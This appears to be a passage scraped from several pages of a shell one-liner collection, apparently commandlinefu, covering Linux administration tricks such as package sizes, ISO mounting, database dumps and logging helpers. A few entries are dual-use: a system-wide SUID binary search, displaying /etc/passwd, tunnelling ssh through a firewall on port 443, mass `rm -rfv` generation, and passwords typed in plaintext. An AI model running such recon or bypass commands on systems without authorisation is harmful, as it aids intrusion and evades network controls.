10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql gzip over ssh I've kept the gzip compression at a low level, but depending on the cpu power available on the source machine you may want to increase it. However, SQL compresses really well, and I found even with -1 I was able to transfer 40 MiB/s over a 100 mbps wire, which was good enough for me. rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less 406081273 gcc-debuginfo 245120792 openoffice.org-core 166575501 qt-doc 151034561 AdobeReader_enu 112425640 texlive-texmf-fonts 111882797 glibc-common 108660975 kernel 108517572 kernel 108498500 kernel 96831952 gutenprint-foomatic 93285230 intel-iforte101021 92981934 glibc-debuginfo 87494563 VirtualBox-3.1 86433623 compat-gcc-34-c++ 83807713 java-1.6.0-openjdk 73147186 wine-core 65063553 libgcj 60059053 valgrind 59977177 wireshark 56262506 xorg-x11-drv-nvidia-libs 53597279 google-chrome-beta 52704734 thunderbird 49434288 qt-x11 48560661 jre 48202503 kdelibs 48041336 chromium-libs 47392883 openoffice.org-langpack-ja_JP 46820236 qt-x11 46339569 gimp 44939255 kdelibs3 44228134 scribus 43433728 java-1.6.0-openjdk-devel 42958608 boost-devel 41381019 evolution [...] Sort installed rpms by decreasing size. It's all said in the title. getent services <port_number> Find which service was used by which port number vim -u NONE yourfile Start vim without initialization This will skip all initializations. Especially useful when your ~/.vimrc has something wrong. e2label /dev/vg0/lv0 MyFiles Functions: e2label Label EXT2/EXT3 File System acpi -tc print battery , thermal , and cooling info renice 19 -p $$ Functions: renice Make shell (script) low priority. Use for non interactive tasks export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m " hanukkah colored bash prompt blue and yellow colored bash prompt for a Hanukkah celebration on your box rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less abrt-desktop 0 Sort installed rpms in alphabetic order with their size. ip route show dev eth0 | awk '{print $7}' Show LAN IP with ip(8) ip address show | grep eth0 | sed '1d' | awk '{print $2}' does the same, but shows network-prefix. diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$') Functions: cd diff egrep find diff will usually only take one file from STDIN. This is a method to take the result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable. diff is designed to compare two files. You can also compare directories. In this form, bash uses 'process substitution' in place of a file as an input to diff. Each input to diff can be filtered as you choose. I use find and egrep to select the files to compare. for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done jaymz@wario:~/Desktop/blender/textures$ ls 1-general.iso 2-agedstressed.iso 3-bases.iso jaymz@wario:~/Desktop/blender/textures$ for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done [sudo] password for jaymz: 1-general 2-agedstressed 3-bases 1-general.iso 2-agedstressed.iso 3-bases.iso Functions: awk file mkdir mount sudo Make directories for and mount all iso files in a folder kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'` No output. But if you want to see the PIDs of your Zombies just use this piece: ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}' Kill all Zombie processes if they accept it! Tested on FreeBSD 8.1 and CSH. The scripts works correctly but the Zombies do not die! I hope it will run and function as expected in Linux and others. svn up -rREV file Revert an SVN file to previous revision Kudos to xakon. find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u make a list of movies(.m3u). type {command} >/dev/null {command} is /usr/bin/{command} Check if a command is available in your system Usefull to detect if a commad that your script relies upon is properly installed in your box, you can use it as a function function is_program_installed() { type "$1" >/dev/null Invoke it and check the execution code is_program_installed "dialog" echo "dialog is not installed" exit 1 gnome-terminal --tab --tab --tab Start a terminal with three open tabs If you launch gnome-terminal manually, you can start with three open tabs dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld / drwxr-xr-x 3 hudson nogroup 4096 2009-12-14 14:48 /var/lib/hudson/jobs/Product/workspace/foo-trunk/projects/Product/build/foo/db drwxr-xr-x 5 hudson nogroup 4096 2009-12-14 14:48 /var/lib/hudson/jobs/Product/workspace/foo-trunk/projects/Product/build/foo drwxr-xr-x 3 hudson nogroup 4096 2009-12-14 14:48 /var/lib/hudson/jobs/Product/workspace/foo-trunk/projects/Product/build drwxr-x--- 8 hudson adm 4096 2009-12-14 15:02 /var/lib/hudson/jobs/Product/workspace/foo-trunk/projects/Product drwxr-x--- 10 hudson adm 4096 2009-12-09 16:43 /var/lib/hudson/jobs/Product/workspace/foo-trunk/projects drwxr-x--- 9 hudson adm 4096 2009-12-09 16:42 /var/lib/hudson/jobs/Product/workspace/foo-trunk drwxr-x--- 3 hudson adm 4096 2009-12-09 16:36 /var/lib/hudson/jobs/Product/workspace drwxr-x--- 4 hudson adm 4096 2009-12-14 14:48 /var/lib/hudson/jobs/Product drwxr-x--- 8 hudson adm 4096 2009-12-09 16:32 /var/lib/hudson/jobs drwxr-x--- 9 hudson adm 4096 2009-12-14 15:02 /var/lib/hudson drwxr-xr-x 35 root root 4096 2009-12-07 14:38 /var/lib drwxr-xr-x 14 root root 4096 2009-11-03 12:11 /var drwxr-xr-x 21 root root 4096 2009-12-10 07:27 / Functions: dir ls Show permissions of current directory and all directories upwards to / Useful if a different user cannot access some directory and you want to know which directory on the way misses the x bit. chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png Functions: chvt sleep Take a screenshot of a login screen when using Gnome or KDE, you will have a hard time getting a screenshot of something like a login screen, or any other screen that occurs before the desktop environment is up and monitoring the printscreen key. (this probably applies for other DEs as well, but I haven't used them) What this command is meant to do is take a screenshot of an X window using a command you can run from your virtual terminals (actual text terminals, not just an emulator) To do this: Press CTRL+ALT+F1 to go to a virtual (text) terminal once your login window comes up Login to the virtual terminal and enter the command (you'll have to type it in) You should now have a file called screenshot.png in your home directory with your screenshot in it. For those of you who are new to the virtual terminal thing, you can use CTRL+ALT+F7 to get back to your regular GUI From http://www.gnome.org find . -type d -exec mkdir /copy_location/{} \; alias oports="echo 'User: Command: Port:'; echo '----------------------------' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq" [11] [root@paradox] oports User: Command: Port: root ventrilo_ 3784 vscan perl5.10. 10024 lsof - cleaned up for just open listening ports, the process, and the owner of the process another formatting/oneliner for lsof User - Process - Port mech-dump --links --absolute http://www.commandlinefu.com http://www.commandlinefu.com/commands/using/stat http://www.commandlinefu.com/commands/tagged/101/size http://www.commandlinefu.com/commands/tagged/182/file Get all links from commandlinefu front page You need to install WWW::Mechanize Perl module with # cpan -i WWW::Mezchanize or by searching mechanize | grep perl in your package manager With this command, you can get forms, images, headers too date --utc --date "2009-02-06 09:57:54" +%s 1233914274 Convert a date to timestamp Simple way to get a timestamp from a date `find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"` Use carefully have rm -rf ;-) ‹ First < 135 136 137 138 139 > Last › pinfo date Make info pages much less painful The pinfo package makes info pages much more bearable. It is a ncurses-based POSIX utility for viewing info and man pages using lynx style keyboard shortcuts and rendering. Links are highlighted blue, the current location of your cursor is red. Navigating and searching are easy. Worth the install. git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git github push-ing behind draconian proxies! If you are behind a restrictive proxy/firewall that blocks port 22 connections but allows SSL on 443 (like most do) then you can still push changes to your github repository. Your .ssh/config file should contain: Host * ForwardX11 no TCPKeepAlive yes ProtocolKeepAlives 30 ProxyCommand /usr/local/bin/proxytunnel -v -p -d %h:443 Host User git Hostname ssh.github.com ChallengeResponseAuthentication yes IdentityFile ~/.ssh/id_rsa IdentitiesOnly yes Basically proxytunnel "tunnels" your ssh connection through port 443. You could also use corkscrew or some other tunneling program that is available in your distro's repository. PS: I generally use "github.com" as the SSH-HOST so that urls of the kind git@github.com:USER/REPO.git work transparently :) You truecrypt volume.tc Mount/unmount your truecrypted file containers This should automatically mount it to /media/truecrypt1. Further mounts will go to /media/truecrypt2, and so on. You shouldn't need sudo/su if your permissions are right. I alias tru='truecrypt' since tr and true are commands. To explicitly create a mount point do: tru volume.tc /media/foo To make sure an GUI explorer window (nautilus, et al) opens on the mounted volume, add: --explorer To see what you currently have mounted do: tru -l To dismount a volume do: tru -d volume.tc. To dismount all mounted volumes at once do: tru -d Tested with Truecrypt v6.3a / Ubuntu 9.10 style TEXT-FILE $ style /usr/share/common-licenses/GPL readability grades: sentence info: word usage: sentence beginnings: Analyse writing style of writing style of a document Style analyses the surface characteristics of the writing style of a document. It prints various readability grades, length of words, sentences and paragraphs. It can further locate sentences with certain characteristics. If no files are given, the document is read from standard input. style is part of "diction" package dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n Know which version dpkg/apt considers more recent Compares two versions with dpkg. It is not always obvious what version dpkg/apt will consider to be more recent. Operators include the following : * These treat an empty version as earlier than any version: lt le eq ne ge gt. * These treat an empty version as later than any version: lt-nl le-nl ge-nl gt-nl. * These are provided only for compatibility with control file syntax: < > >. This command doesn't output anything. It only returns with status 0 or 1, hence the echo "y" || echo "n" to get an output. paste --serial file1 file2 file3 $ paste <(seq 1 11) <(seq 10 20) <(seq 20 30) <(seq 30 40) $ paste --serial <(seq 1 11) <(seq 10 20) <(seq 20 30) <(seq 30 40) paste one file at a time instead of in parallel rpm -qa --queryformat "%{NAME} %{ARCH}\n" sgml-skel noarch update-alternatives noarch desktop-file-utils x86_64 db-devel x86_64 Lists architecture of installed RPMs Lists all installed RPM packages with name and architecture, which is useful to check for compability packages (+ required i386 packages) on a 64bit system. cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file> cuebreakpoints sample.cue | shnsplit -o flac sample.ape Splitting [sample.ape] (76:02.37) --> [split-track01.flac] (7:37.17) : 100% OK Splitting [sample.ape] (76:02.37) --> [split-track02.flac] (4:33.50) : 100% OK Splitting [sample.ape] (76:02.37) --> [split-track03.flac] (4:18.18) : 100% OK Splitting [sample.ape] (76:02.37) --> [split-track04.flac] (4:31.17) : 100% OK Splitting [sample.ape] (76:02.37) --> [split-track05.flac] (3:47.05) : 100% OK Split lossless audio (ape, flac, wav, wv) by cue file Packages for Debian-based systems users: * cuetools shntool * FLAC (.flac): flac * WavPack (.wv): wavpack * Monkey's Audio (.ape): libmac2 monkeys-audio (deb http://www.debian-multimedia.org sid main) NOTE: "sid" packages are unstable, but I didn't have problems with them. If you prefer, use the "stable" version repository. To transfer the tags, you can use this (works with .flac, .ogg and .mp3): cuetag sample.cue split-track*.flac svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh Functions: awk cut grep exported files will get a .r23 extension (where 23 is the revision number) sudo ls -RFal / | gzip > all_files_list.txt.gz A ~16MB file called "all_files_list.txt.gz". The first few lines after decompression: total 37108 srwxrwxrwx 1 root admin 0 Dec 14 20:02 .dbfseventsd= ---------- 1 root admin 0 Jun 23 09:19 .file Functions: gzip ls sudo Write a listing of all directories and files on the computer to a compressed file. This command is meant to be used to make a lightweight backup, for when you want to know which files might be missing or changed, but you don't care about their contents (because you have some way to recover them). Explanation of parts: "ls -RFal /" lists all files in and below the root directory, along with their permissions and some other metadata. I think sudo is necessary to allow ls to read the metadata of certain files. "| gzip" compresses the result, from 177 MB to 16 MB in my case. "> all_files_list.txt.gz" saves the result to a file in the current directory called all_files_list.txt.gz. This name can be changed, of course. gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image> Change Gnome wallpaper You can use this in a script which rotates wallpapers from a directory at each login. find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done Functions: cut du echo find read sed sort xargs Based on the MrMerry one, just add some visuals and sort directory and files sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http change dinosaur poop into gold if firefox is running the database is locked, so you need to copy the places.sqlite file temporarily somewhere to be able to query it... log() { (echo "\$ $@";$@) | logger -t $USER; } $ log uname -a; sudo tail -2 /var/log/user.log Sep 25 16:12:44 tiger-laptop tiger: $ uname -a Sep 25 16:12:44 tiger-laptop tiger: Linux tiger-laptop 2.6.31-22-generic-pae #65-Ubuntu SMP Thu Sep 16 16:02:41 UTC 2010 i686 GNU/Linux Functions: echo logger write the output of a command to /var/log/user.log... each line will contain $USER, making this easy to grep for. This command is useful if you want to copy the output of a series of commands to a file, for example if you want to pastebin the output from 'uname -a', 'lspci -vvv' and 'lsmod' for video driver trouble-shooting on your favorite Linux forum. 'log' takes all the following arguments as a command to execute, with STDOUT sent to /var/log/user.log. The command is echoed to the log before it is executed. The advantages of using logger (as opposed to appending output from commands to a file) are 1) commands are always appended to the logs... you don't have to worry about clobbering your log file accidentally by using '>' rather than '>>' 2) logs are automatically cleaned up by logrotate. The following functions allow you to mark the start and end of a section of /var/log/user.log. startlog() { export LOGMARK=$(date +%Y.%m.%d_%H:%M:%S); echo "$LOGMARK.START" | logger -t $USER; } endlog() { echo "$LOGMARK.END" | logger -t $USER; } printlog will print all lines between $LOGMARK.START and $LOGMARK.END, removing everything that is prepended to each line by logger. printlog() { sudo sed -n -e "/$LOGMARK.START/,/$LOGMARK.END/p" /var/log/user.log| sed "s/.*$USER: //"; } The following command should dump just about all the information that you could possibly want about your linux configuration into the clipboard. startlog; for cmd in 'uname -a' 'cat /etc/issue' 'dmesg' 'lsusb' 'lspci' 'sudo lshw' 'lsmod'; do log $cmd; done; endlog; printlog | xsel --clipboard This is ready for a trip to http://pastebin.com/, and you don't have to worry about leaving temporary files lying around cluttering up $HOME. Caveats: I'm sure that startlog, endlog, and printlog could use some cleanup and error checking... there are unchecked dependencies between printlog and endlog, as well as between endlog and startlog. It might be useful for 'log' to send stderr to logger as well. sudo update-rc.d <scriptname> defaults Adding a startup script to be run at bootup Ubuntu This script will run each time you boot up.The script must be in /etc/init.d directory. watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp' Every 2.0s: sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp Mon Dec 14 19:09:56 2009 Functions: grep sudo watch Expedient hard disk temprature and load cycle stats This command is a great way to check to see if acpi is doing damage to your disks by agressivly parking the read arm and wearing down it's life. As you can see, mine has lost half its life. I'm sure this could be shortened though somehow. It will use smartctl to dump the stats and then grep out just the temperature and load cycles for the disk (a load cycle is when a the read arm comes out of park and wears on the drive). (pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity --width 550 --progress --auto-close --auto-kill --title "Importing into MySQL" --text "Importing into the database" Import SQL into MySQL with a progress meter This uses PV to monitor the progress of the MySQL import and displays it though Zenity. You could also do this pv ~/database.sql | mysql -u root -pPASSWORD -D database_name and get a display in the CLI that looks like this 2.19MB 0:00:06 [ 160kB/s] [> ] 5% ETA 0:01:40 My Nautalus script using this command is here http://www.daniweb.com/forums/post1253285.html#post1253285 ${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore) Enter keystore password: What is your first and last name? [Unknown]: What is the name of your organizational unit? [Unknown]: What is the name of your organization? [Unknown]: What is the name of your City or Locality? [Unknown]: What is the name of your State or Province? [Unknown]: What is the two-letter country code for this unit? [Unknown]: Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct? [no]: yes Enter key password for <tomcat> Create a self-signed certificate for Apache Tomcat Must be run as root. The 'tomcat' user must have access to the .keystore file. The key and keystore passwords must be the same. The password must be entered into the server.xml config file for Tomcat. rkhunter --versioncheck --update --propupd --check Freshening up RKhunter Not everyone reads manpages. Aliasing this command will help with the task of doing audits with RKhunter. It will check for the latest version, update the definitions and then run a check on the system. Hint: alias that in your .bashrc to make life for your fingers easier. alias l='ls -CFlash' create a simple version of ls with extended output create a short alias for 'ls' with multi-column (-C), file type syntax additions (slashes after directories, @ for symlinks, etc... (-F), long format (-l), including hidden directories (all ./, ../, .svn, etc) (-a), show file-system blocks actually in use (-s), human readable file sizes (-h) denyhosts-remove $IP_ADDRESS Remove an IP address ban that has been errantly blacklisted by denyhosts download the denyhosts-remove script from http://www.atrixnet.com/?p=36 p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf "=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p i;done;echo p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf "=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p i;done;echo [=============================================================================>] create a progress bar... A simple way yo do a progress bar like wget. curl -Is google.com | grep Date Date: Fri, 24 Jun 2011 10:57:16 GMT This command will show the current GMT time using HTTP. This might be useful if you just want to know what's the current human-readable and accurate-enough time, without changing the system time, using a simple command that would work regardless of the availability of NTP. Note: To get a quicker and more accurate response, replace google.com with your local NTP server. Also can be used as an alternative to the "htpdate" program: http://www.commandlinefu.com/commands/view/668/set-your-computers-clock-using-http-and-htp-http-time-protocol-when-ntpsntp-is-not-available mysql -u<user> -p<password> -s -e 'DESCRIBE <table>' <database> | tail -n +1 | awk '{ printf($1",")}' | head -c -1 Functions: awk head tail Get table column names from an MySQL-database in comma-seperated form perl -e "alarm 10; exec @ARGV" "somecommand" $ perl -e "alarm 10; exec @ARGV" "sleep 2; echo Hello" Hello $ perl -e "alarm 10; exec @ARGV" "sleep 20; echo Hello" Alarm clock In this example the command "somecommand" will be executed and sent a SIGALARM signal if it runs for more than 10 seconds. It uses the perl alarm function. It's not 100% accurate on timing, but close enough. I found this really useful when executing scripts and commands that I knew might hang E.g. ones that connect to services that might not be running. Importantly this can be used within a sequential script. The command will not release control until either the command completes or the timeout is hit. ‹ First < 136 137 138 139 140 > Last › zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd Functions: passwd Open a file in a GTK+ dialog window I use zenity because it's a rewrite of gdialog and also replaces gmessage and has more useful options. Using --text-info allows you to select and copy the text to your clipboard. To see a file in a list dialog: cat /etc/passwd | zenity --width 800 --height 600 --list --column Entries If you don't have zenity, you'll have to download it via apt-get install zenity, etc. telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | tr -d '\n' && echo According to Microsoft, it's by design Functions: sed telnet tr Get a BOFH excuse Gets a BOFH excuse from the BOFH excuse server (towel.blinkenlights.nl port 666), and passes it through sed and tr to get rid of telnet connection stuff. vi ~/journal/$(date +%F) Functions: date vi prerequisite: mkdir ~/journal Clear history mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2 Functions: bzip2 host To also move the db backup to another location you could pass the output to the dd command instead of a file mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 | dd ssh usr@server "dd of=db_dump" date -d @$(echo $((2 ** 31 - 1))) Tue Jan 19 08:44:07 IST 2038 Then end of the UNIX epoch http://en.wikipedia.org/wiki/Year_2038_problem Some other notable dates that have passed: date -d@1234567890 date -d@1000000000 lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; } Search big files with long lines This is a handy way to circumvent the "Maximum line length of 2048 exceeded" grep error. Once you have run the above command (or put it in your .bashrc), files can be searched using: lgrep search-string /file/to/search find . -type f ! -exec grep -q 'STRING' {} \; -print Find all plain text files that do not contain STRING find . -uid 0 -print0 | xargs -0 chown foo:foo Functions: chown find xargs change ownership en masse of files owned by a specific user, including files and directories with spaces In the example, uid 0 is root. foo:foo are the user:group you want to make owner and group. '.' is the "current directory and below." -print0 and -0 indicate that filenames and directories "are terminated by a null character instead of by whitespace." currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; } 3 USD = 11.0181 AED This works in Mac OS X (10.6.2) (natively comes with curl) usage: currency_convert $1(amount) $2(from_denomination) $3(to_denomination) echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc $ echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc 143 Exactly the same number of characters, exactly the same results, but with bc for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo "....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo ".*.*";;6)echo ".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done .*.* .**. Functions: cut date Lightweight alternative with case svn log | perl -ne 'chomp; if (/^-{10}/) {print "\n" if $l; $l=0}; s/[^|]*$// && print if $l==1; print if $l==3; $l++' r14341 | bob | 2011-10-14 15:57:17 +0100 (Fri, 14 Oct 2011) |jack leave that alone r14316 | jack | 2011-10-13 21:54:52 +0100 (Thu, 13 Oct 2011) |thing still broken r14315 | jack | 2011-10-13 18:03:41 +0100 (Thu, 13 Oct 2011) |fixed the thing r14307 | bob | 2011-10-13 15:49:29 +0100 (Thu, 13 Oct 2011) |made a thing one-line log format for svn the output of svn log is annoying to grep, since it spreads the useful info over multiple lines. This compacts the output down to one line so eg you can grep for a comment and see the rev, date & committer straight away. lsb-release -a lsb_release -a Description: Ubuntu 8.10 Release: 8.10 Codename: intrepid Know your distro To know the OS distro and version, release. Is same like /etc/redhat-release perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' < /var/log/squid/access.log BEFORE: ~]# tail -f /var/log/squid/access.log AFTER: ~]# tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' http://www.commandlinefu.com/search/suggestions username Convert Squid unixtime logs in human-readable ones On-the-fly conversion of Unix Time to human-readable in Squid's access.log ( command1 arg arg ; command2 arg ) ... while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; done Fri Oct 14 21:01:01 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:02 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:03 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:05 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:06 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:07 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:08 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:10 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:11 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Fri Oct 14 21:01:12 UTC 20110b870c606c0548fe6e458791b67720f2ea11c3a5 Functions: echo sleep true Repeat a command until stopped In this case it runs the command 'curl localhost:3000/site/sha' waiting the amount of time in sleep, ie: 1 second between runs, appending each run to the console. This works well for any command where the output is less than your line width This is unlike watch, because watch always clears the display. ps -o ppid= <given pid> | xargs ps -p /tmp$ ps -o ppid= $$ | xargs ps -p Functions: ps xargs get some information about the parent process from a given process su - $user -c <command> Run command from another user and return to current ls -l $(type -path -all java) Functions: ls type find the path of the java called from the command line The output will likely point to '/etc/alternatives/java'. So find out where that points by issuing ls -l like this: ls -l /etc/alternatives/java find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }' [root@ip-xx-xxx-xxx-xx ~]# find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }' 129M Feb16: /proc/vz/vzaquota/00000020/aquota.user 129M Feb16: /proc/vz/vzaquota/00000020/aquota.group 39M Aug21: /usr/java/jdk1.5.0_14/jre/lib/rt.jar 63M Jul10: /usr/lib/locale/locale-archive-rpm 31M Sep25: /usr/lib/libgcj.so.8rh.0.0 Finds all files from / on down over specified size. Very useful for finding all files over a specified size, such as out of control log files chewing up all available disk space. Fedora Core x specific version. pinky -l <username> pinky -l xyz Login name: xyz In real life: xyz xyz Directory: /home/xyz Shell: /bin/bash Functions: pinky pinky - user info Gives information about user's home directory and real name and shell user is having. bc -l <<< "x=2; p=0.5; e(l(x)*p)" 1.41421356237309504878 Floating point power p of x One pipe less. alias info='info --vi-keys' I use this alias in my bashrc. The --vi-keys option makes info use vi-like and less-like key bindings. rename 's/\b((?!(a|of|that|to)\b)[a-z]+)/\u$1/g' * Title Case Files All words of the filenames except "a", "of", "that" and "to" are capitalized. To also match words which begin with a specific string, you can use this: rename 's/\b((?!hello\b|t)[a-z]+)/\u$1/g' * This will capitalize all words except "hello" and words beginning with "t". ‹ First < 137 138 139 140 141 > Last › find /src/dir/ -mtime -10 -printf %P\\0|rsync --files-from=- --from0 /src/dir/ /dst/dir/ rsync directory tree including only files that match a certain find result. '-mtime -10' syncs only files newer 10 days (-mtime is just one example, use whatever find expressions you need) printf %P: File's name with the name of the command line argument under which it was found removed. this way, you can use any src directory, no need to cd into your src directory first. using \\0 in printf and a corresponding --from0 in rsync ensures that even filenames with newline characters work (thanks syssyphus for #3808). both, #1481 and #3808 just work if you either copy the current directory (.) , or the filesystem root (/), otherwise the output from find and the source dir from rsync just don't match. #7685 works with an arbitrary source directory. /sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s/B:[[:digit:]]*B:/ --sizelimit=/; s/B:/ [/; s/:.*/]/' 2 --offset=1048576 --sizelimit=1072693248 [ext3] 1 --offset=1073741824 --sizelimit=18253611008 [ext4] 3 --offset=19327352832 --sizelimit=2147483648 [] print offsets of file disk for losetup/loop-mount If you want to mount partitions of an disk image, you need the offsets and sizes of the partitions. This command prints them in the format that losetup understands. errpt -a | more Check general system error on AIX google calendar list --date `date --date="next thursday" +%Y-%m-%d` List upcoming events on google calendar Requires googlecl (http://code.google.com/p/googlecl/) Even better when you wrap this in a script and allow the --date=STRING to be $1. Then you can type: whatson "next Thursday" The date string for UNIX date is very flexible. You can also add --cal "[regex]" to the end for multiple calendars. find . -type f -regex '.*/core\.?[0-9]*$' -delete Find and remove core files sudo hdparm -Tt /dev/sda Functions: hdparm sudo Benchmark a hard drive cmp -l file1.bin file2.bin | wc -l Functions: cmp wc Count number of bytes that are different between 2 binary files cat *.txt >output.txt Combining text files into one file find / -perm +6000 -type f -exec ls -ld {} \; Find all SUID binaries find ~ -name '*.mp4' | xargs mplayer play all mp4 files on home directory ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}' ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}' 192.168.1.23 The initial version of this command also outputted extra empty lines, so it went like this: This happened on Ubuntu, i haven't tested on anything else. plutil -lint plist-file The command used by applications in OS X to determine whether a plist is "good". from Ed Marczak. The check an entire folder is a one-liner: plutil -lint * | grep -v OK$ from Ed Marczak spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>" https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'; } spell http://immike.net/blog/2007/04/07/hacking-google-spell-checker-for-fun-and-profit/ i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done; | ___|/ _ \ / _ \ |___ \ (_) | (_) | ___) \__, |\__, | |____/ /_/ /_/ Big Countdown Clock in seconds Requires figlet. Other than that, this should be portable enough across all the Bourne-compatible shells (sh, bash, ksh, zsh, etc). Produces a massive number using figlet that counts down the number of seconds for any given minute interval. For example, here's a 4-minute timer: i=$((4*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done; And a 1-minute timer: i=$((1*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done; iptables -L -n --line-numbers | grep xx.xx.xx.xx root@server [/]# iptables -L -n --line-numbers | grep xx.xx.xx.xx 2 DROP all -- xx.xx.xx.xx 0.0.0.0/0 2 DROP all -- 0.0.0.0/0 xx.xx.xx.xx Functions: grep iptables Check for Firewall Blockage. This is just one method of checking to see if an IP is blocked via IP tables or CSF. Simple and to the point. Replace xx.xx.xx.xx with the IP you wish to check. ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf - Copy files and directories from a remote machine to the local machine This command will copy files and directories from a remote machine to the local one. Ensure you are in the local directory you want to populate with the remote files before running the command. To copy a directory and it's contents, you could: ssh user@host "(cd /path/to/a/directory ; tar cvf - ./targetdir)" | tar xvf - This is especially useful on *nix'es that don't have 'scp' installed by default. curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2' file -i * | grep 'text/plain' | wc -l date -j -v +1000000000S -f %m%d%Y mmddYYYY date -j -v +1000000000S -f %m%d%Y mmddyyyy Scrape commands from commandline fu's 1st page just bored here at work ... if your are 